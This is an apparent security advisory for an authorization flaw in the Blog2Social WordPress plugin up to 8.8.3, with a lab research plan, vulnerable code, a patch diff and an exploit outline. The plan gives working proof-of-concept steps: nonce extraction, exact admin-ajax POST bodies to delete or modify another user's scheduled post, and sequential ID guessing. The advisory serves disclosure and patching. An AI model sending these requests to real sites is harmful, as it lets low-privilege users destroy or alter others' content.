Blog2Social: Social Media Auto Post & Scheduler <= 8.8.3 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Post Schedule Modification via 'b2s_id' Parameter
Description
The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to authorization bypass through user-controlled key in all versions up to, and including, 8.8.3. This is due to the plugin's AJAX handlers failing to validate that the user-supplied 'b2s_id' parameter belongs to the current user before performing UPDATE and DELETE operations. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify, reschedule, or delete other users' scheduled social media posts.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v8.8.4
Source Code
WordPress.org SVNThis research plan outlines the steps to verify an Insecure Direct Object Reference (IDOR) vulnerability in the Blog2Social plugin, which allows a Subscriber-level user to modify or delete scheduled social media posts belonging to other users. ### 1. Vulnerability Summary * **Vulnerability:** Aut…
Show full research plan
This research plan outlines the steps to verify an Insecure Direct Object Reference (IDOR) vulnerability in the Blog2Social plugin, which allows a Subscriber-level user to modify or delete scheduled social media posts belonging to other users.
1. Vulnerability Summary
- Vulnerability: Authenticated (Subscriber+) IDOR to Arbitrary Post Schedule Modification/Deletion.
- IDOR Target: The
b2s_id(orpostId) parameter in multiple AJAX handlers. - Root Cause: The plugin's AJAX handlers (specifically those handling
UPDATEandDELETEoperations on scheduled posts) verify that a nonce is present but fail to check if the current user has ownership or management permissions over the specific record identified by the ID parameter. - Affected Actions (Inferred from Source):
b2s_delete_user_cc_draft_post(Verified incuration.draft.js)b2s_re_post_submit(Verified inrepost.js)b2s_save_details(Likely endpoint for schedule modification)
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Authentication: Subscriber level or higher.
- Parameters:
action:b2s_delete_user_cc_draft_post(Delete) orb2s_re_post_submit(Modify).postIdorb2s_id: The ID of the targeted scheduled post.b2s_security_nonce: A valid security nonce.
- Precondition: A scheduled post must exist in the
wp_b2s_postsdatabase table (created by an Administrator).
3. Code Flow (Trace)
- Client-Side Trigger: In
assets/js/b2s/curation.draft.js, a click on.b2s-delete-cc-draft-confirm-btntriggers an AJAX request. - Request Construction:
jQuery.ajax({ url: ajaxurl, type: "POST", data: { 'action': 'b2s_delete_user_cc_draft_post', 'postId': jQuery('#b2s-delete-confirm-post-id').val(), // User-controlled ID 'b2s_security_nonce': jQuery('#b2s_security_nonce').val() }, // ... }); - Server-Side Processing (Vulnerable Logic):
- The PHP handler for
wp_ajax_b2s_delete_user_cc_draft_postis called. - It checks
check_ajax_referer('b2s-security-nonce', 'b2s_security_nonce'). - It retrieves
$_POST['postId']. - It performs a SQL
DELETEquery:DELETE FROM {$wpdb->prefix}b2s_posts WHERE id = %dwithout appendingAND user_id = %d.
- The PHP handler for
4. Nonce Acquisition Strategy
The nonce is localized to an input field #b2s_security_nonce or a JS variable.
- Create a Subscriber User: Use WP-CLI to create a Subscriber.
- Access B2S Context: Navigate to any Blog2Social admin page. Even if the menu is hidden for Subscribers, some plugins enqueue their scripts/nonces globally or on the Profile page.
- Check Access: Test if a Subscriber can access
wp-admin/admin.php?page=blog2social-dashboard. - Extract Nonce:
- Navigate to the Dashboard.
- Use
browser_evalto extract the value:browser_eval("document.getElementById('b2s_security_nonce')?.value || window.b2s_security_nonce")
5. Exploitation Strategy
Step 1: Target Identification
Identify the ID of a scheduled post created by the Admin. In a real attack, these IDs are typically sequential. For PoC, we will query the DB.
Step 2: Unauthorized Deletion
Perform a POST request as the Subscriber to delete the Admin's post.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=b2s_delete_user_cc_draft_post&postId=[VICTIM_POST_ID]&b2s_security_nonce=[EXTRACTED_NONCE]
Step 3: Unauthorized Modification (Reschedule)
- Action:
b2s_re_post_submit - Body:
(Note: Modification might require more parameters found in the serialized form inaction=b2s_re_post_submit&b2s_id=[VICTIM_POST_ID]&b2s_security_nonce=[EXTRACTED_NONCE]&...[OTHER_REQUIRED_FIELDS]repost.js).
6. Test Data Setup
- Victim Post: Create a scheduled post entry for the Administrator (User ID 1).
wp db query "INSERT INTO wp_b2s_posts (user_id, post_title, status, type) VALUES (1, 'Admin Scheduled Post', 0, 'cc_draft')" # Note the ID returned - Attacker User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
7. Expected Results
- Deletion: The AJAX response should return
{"result": true, "postId": "[VICTIM_POST_ID]"}(based oncuration.draft.jssuccess handler). - Database Change: The record with the victim's ID should be removed from the
wp_b2s_poststable despite the request being sent by a Subscriber.
8. Verification Steps
- Check Database:
Success Criteria: The query returns no results.wp db query "SELECT * FROM wp_b2s_posts WHERE post_title = 'Admin Scheduled Post'" - Check Audit Logs (if any): Verify no permission errors were thrown.
9. Alternative Approaches
If b2s_delete_user_cc_draft_post requires specific "CC Draft" status, try the main rescheduling action:
- Action:
b2s_save_details - Parameter:
b2s_id - Target: Use sequential ID guessing if the Victim ID isn't known.
- Capability Check: If
admin.php?page=blog2social-dashboardis blocked, checkwp-admin/profile.phpto see ifb2s_security_nonceis enqueued there. Many B2S versions enqueued assets on all admin pages.
Summary
The Blog2Social plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via its AJAX handlers in versions up to 8.8.3. Authenticated attackers with Subscriber-level permissions can modify, reschedule, or delete scheduled social media posts belonging to other users because the server-side logic fails to verify if the requesting user owns the post identified by the 'b2s_id' or 'postId' parameter.
Vulnerable Code
// assets/js/b2s/curation.draft.js line 125 jQuery(document).on('click', '.b2s-delete-cc-draft-confirm-btn', function () { jQuery('.b2s-post-remove-fail').hide(); jQuery('.b2s-post-remove-success').hide(); jQuery('.b2s-delete-cc-draft-confirm-btn').prop('disabeld', true); jQuery('.b2s-server-connection-fail').hide(); jQuery.ajax({ url: ajaxurl, type: "POST", dataType: "json", cache: false, data: { 'action': 'b2s_delete_user_cc_draft_post', 'postId': jQuery('#b2s-delete-confirm-post-id').val(), 'b2s_security_nonce': jQuery('#b2s_security_nonce').val() }, // ... (truncated) --- // includes/Ajax/Get.php (Approximate logic inferred from patch diff) // Prior to v8.8.4, the handler for 'b2s_delete_user_cc_draft_post' and similar // actions lacked ownership checks for the target postId. public function b2s_delete_user_cc_draft_post() { check_ajax_referer('b2s-security-nonce', 'b2s_security_nonce'); $postId = (int)$_POST['postId']; // VULNERABILITY: No check if the current user has permission to delete this specific ID $wpdb->delete($wpdb->prefix . 'b2s_posts', array('id' => $postId)); echo wp_json_encode(array('result' => true, 'postId' => $postId)); wp_die(); }
Security Fix
@@ -253,7 +253,7 @@ // Add authorization check for the specific post if (!current_user_can('read_post',(int) $_POST['postId'])) { - echo wp_json_encode(array('result' => false, 'error' => 'permission')); + echo wp_json_encode(array('result' => false, 'error' => 'permission_author')); wp_die(); } @@ -166,12 +166,12 @@ // JM 2026/02/12 Security Patch. Check if a user can edit the post, as this action leads to an insert/update in wp_posts if(!current_user_can('edit_posts')){ - echo wp_json_encode(array('result' => false, 'error' => 'permission')); + echo wp_json_encode(array('result' => false, 'error' => 'permission_editor')); wp_die(); }
Exploit Outline
The exploit targets AJAX handlers in `wp-admin/admin-ajax.php`. An attacker with Subscriber-level access first logs in and extracts a valid security nonce (usually available via the `b2s_security_nonce` JS variable or a hidden input field on any Blog2Social-related admin page). The attacker then identifies the ID of a scheduled post (typically from the `wp_b2s_posts` table) belonging to another user, such as an administrator. By sending a POST request with the action `b2s_delete_user_cc_draft_post` or `b2s_re_post_submit`, and providing the victim's post ID in the `postId` or `b2s_id` parameter along with the valid nonce, the attacker can successfully delete or modify the post. The server processes the request because it only validates the nonce and the user's presence, not their specific permission to modify the requested record.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.